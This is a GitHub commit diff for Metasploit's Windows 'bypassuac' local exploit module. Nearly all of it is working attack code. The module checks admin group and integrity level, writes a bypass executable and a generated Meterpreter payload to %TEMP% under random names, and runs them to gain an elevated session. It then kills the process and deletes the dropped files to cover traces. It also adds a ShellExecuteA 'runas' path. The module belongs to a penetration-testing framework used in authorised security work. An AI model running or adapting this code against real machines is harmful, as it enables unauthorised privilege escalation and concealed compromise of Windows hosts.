Skip to content

Commit 5c2b074

Browse files
committed
Matched bypassuac to upstream
1 parent def652a commit 5c2b074

File tree

1 file changed

+84
-66
lines changed

1 file changed

+84
-66
lines changed

modules/exploits/windows/local/bypassuac.rb

Lines changed: 84 additions & 66 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,14 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/exploit/exe'
78

89
class Metasploit3 < Msf::Exploit::Local
910
Rank = ExcellentRanking
1011

12+
include Exploit::EXE
13+
include Post::File
1114
include Post::Windows::Priv
12-
include Post::Windows::Runas
1315

1416
def initialize(info={})
1517
super( update_info( info,
@@ -27,50 +29,43 @@ def initialize(info={})
2729
],
2830
'Platform' => [ 'win' ],
2931
'SessionTypes' => [ 'meterpreter' ],
30-
'Targets' => [ [ 'Windows', {} ] ],
32+
'Targets' => [
33+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
34+
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
35+
],
3136
'DefaultTarget' => 0,
3237
'References' => [
3338
[ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
3439
],
3540
'DisclosureDate'=> "Dec 31 2010"
3641
))
3742

38-
register_options([
39-
OptEnum.new("TECHNIQUE", [ true, "Technique to use if UAC is turned off", 'EXE', ['PSH', 'EXE'] ]),
40-
])
41-
42-
end
43-
44-
def runas_method
45-
case datastore["TECHNIQUE"]
46-
when "EXE"
47-
execute_exe
48-
when "PSH"
49-
execute_psh
50-
end
5143
end
5244

53-
def exploit
54-
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
55-
56-
#
57-
# Verify use against Vista+
58-
#
59-
winver = sysinfo["OS"]
60-
if winver !~ /Windows Vista|Windows 2008|Windows [78]/
61-
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
62-
end
45+
def check_permissions!
46+
# Check if you are an admin
47+
vprint_status('Checking admin status...')
48+
admin_group = is_in_admin_group?
6349

64-
if is_uac_enabled?
65-
print_status "UAC is Enabled, checking level..."
50+
if admin_group.nil?
51+
print_error('Either whoami is not there or failed to execute')
52+
print_error('Continuing under assumption you already checked...')
6653
else
67-
if is_in_admin_group?
68-
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
54+
if admin_group
55+
print_good('Part of Administrators group! Continuing...')
6956
else
7057
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
7158
end
7259
end
7360

61+
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
62+
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
63+
end
64+
end
65+
66+
def exploit
67+
validate_environment!
68+
7469
case get_uac_level
7570
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
7671
fail_with(Exploit::Failure::NotVulnerable,
@@ -85,36 +80,41 @@ def exploit
8580
return
8681
end
8782

88-
# Check if you are an admin
89-
print_status('Checking admin status...')
90-
admin_group = is_in_admin_group?
83+
check_permissions!
9184

92-
if admin_group.nil?
93-
print_error('Either whoami is not there or failed to execute')
94-
print_error('Continuing under assumption you already checked...')
95-
else
96-
if admin_group
97-
print_good('Part of Administrators group! Continuing...')
98-
else
99-
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
85+
upload_binaries!
86+
87+
cmd = "#{path_bypass} /c #{path_payload}"
88+
# execute the payload
89+
pid = cmd_exec_get_pid(cmd)
90+
91+
::Timeout.timeout(30) do
92+
until session_created? do
93+
select(nil,nil,nil,1)
10094
end
10195
end
96+
session.sys.process.kill(pid)
97+
# delete the uac bypass payload
98+
file_rm(path_bypass)
99+
file_rm("#{expand_path("%TEMP%")}\\tior.exe")
100+
cmd_exec("cmd.exe", "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
101+
end
102102

103-
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
104-
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
105-
end
103+
def path_bypass
104+
@bypass_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.exe"
105+
end
106106

107+
def path_payload
108+
@payload_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.exe"
109+
end
110+
111+
def upload_binaries!
112+
print_status("Uploaded the agent to the filesystem....")
107113
#
108114
# Generate payload and random names for upload
109115
#
110116
payload = generate_payload_exe
111117

112-
# randomize the bypass_uac_filename
113-
bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
114-
115-
# randomize the payload exe name
116-
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
117-
118118
# path to the bypassuac binary
119119
path = ::File.join(Msf::Config.data_directory, "post")
120120

@@ -126,36 +126,54 @@ def exploit
126126
bpexe = ::File.join(path, "bypassuac-x86.exe")
127127
end
128128

129-
tmpdir = expand_path("%TEMP%")
130-
cmd = "#{tmpdir}\\#{bypass_uac_filename} /c #{tmpdir}\\#{payload_filename}"
131-
132129
print_status("Uploading the bypass UAC executable to the filesystem...")
133130

134131
begin
135132
#
136133
# Upload UAC bypass to the filesystem
137134
#
138-
upload_file("#{tmpdir}\\#{bypass_uac_filename}", bpexe)
135+
upload_file("#{path_bypass}", bpexe)
139136
print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
140-
#
141-
# Upload the payload to the filesystem
142-
#
143-
tempexe = tmpdir + "\\" + payload_filename
144-
write_file(tempexe, payload)
137+
138+
write_file(path_payload, payload)
145139
rescue ::Exception => e
146-
print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}")
140+
print_error("Error uploading file #{path_bypass}: #{e.class} #{e}")
147141
return
148142
end
143+
end
149144

150-
print_status("Uploaded the agent to the filesystem....")
145+
def runas_method
146+
payload = generate_payload_exe
147+
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
148+
tmpdir = expand_path("%TEMP%")
149+
tempexe = tmpdir + "\\" + payload_filename
150+
write_file(tempexe, payload)
151+
print_status("Uploading payload: #{tempexe}")
152+
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
153+
print_status("Payload executed")
154+
end
151155

152-
# execute the payload
153-
cmd_exec(cmd)
156+
def validate_environment!
157+
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
158+
#
159+
# Verify use against Vista+
160+
#
161+
winver = sysinfo["OS"]
154162

155-
# delete the uac bypass payload
156-
delete_file = "#{tmpdir}\\#{bypass_uac_filename}"
163+
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
164+
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
165+
end
157166

158-
file_rm(delete_file)
167+
if is_uac_enabled?
168+
print_status "UAC is Enabled, checking level..."
169+
else
170+
if is_in_admin_group?
171+
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
172+
else
173+
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
174+
end
175+
end
159176
end
160-
end
161177

178+
179+
end

0 commit comments

Comments
 (0)